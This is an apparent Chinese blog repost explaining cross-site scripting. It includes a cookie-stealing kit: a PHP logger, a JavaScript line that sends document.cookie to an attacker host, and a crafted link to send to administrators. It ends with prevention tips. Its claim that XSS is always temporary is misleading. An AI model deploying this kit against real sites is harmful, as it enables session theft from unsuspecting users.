原文地址:http://blog.csdn.net/weiyong1999/article/details/7944382
什么是跨站脚本(CSS/XSS)?
在Web站点未经适当过滤便显示在HTML页面上时会出现这种漏洞。它允许(由用户输入的)任意HTML显示在用户的浏览器中。
我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为”XSS”,这是因为”CSS”一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。跨站脚本漏洞常常被称为XSS漏洞。
并非任何可利用脚本插入实现攻击的漏洞都被称为XSS,还有另一种攻击方式:”Script Injection”,他们的区别在以下两点:
1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如:sql injection,XPath injection.
2.跨站脚本是临时的,执行后就消失了
什么类型的脚本可以被插入远程页面?
主流脚本包括以下几种:
HTML JavaScript (本文讨论) VBScript ActiveX Flash
实现方法:
1. 在你的服务器创建如下文件
getcookie.php
<?php
error_reporting(~ E_NOTICE);
$cookie = $_GET[c];
$ip = $_SERVER['REMOTE_ADDR'];
$time = date("j F, Y, g:i a");
$referer = $_SERVER['HTTP_REFERER'];
$fp = fopen('show.html', a);
fwrite($fp, "Cookie: .$cookie.<br> IP: .$ip. <br> Date and Time: .$time. <br> Referer: .$referer.<br><br><br>");
fclose($fp);
?>
xss.js
document.write('<img src="http://local.test.com:8080/xss/getcookie.php?c='+document.cookie+'" width=0 height=0 border=0 />');
2.将如下链接发送给管理员或者用户
(这只是一个例子,摘抄的原文)
http://clin003.com/web2/?a=list&tag=<script src=http://clin003.com/xss.js></script>
3.当管理员或者用户点击这个链接时,当前会话的cookie信息就会被getcookie.php接收
预防的办法
1.在你的WEB浏览器上禁用javascript脚本
2..开发者要仔细审核代码,对提交输入数据进行有效检查,如<
和>
。
注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括=
。
对我们浏览网页的网友来说不要访问包含<script>
字符的连接,一些官方的URL不会包括任何脚本元素。
XSS:http://wiki.matrix.org.cn/Wiki.jsp?page=XSS
跨站脚本攻击(XSS)FAQ:http://tech.idv2.com/2006/08/30/xss-faq/
也谈跨站脚本攻击与防御:http://www.xfocus.net/articles/200607/874.html
浅析XSS(Cross SiteScript)漏洞原:http://www.xker.com/page/e2007/0704/27444_3.html
PHP-Nuke个人消息存在HTML插入漏洞:http://www.xfocus.net/vuls/200208/2970.html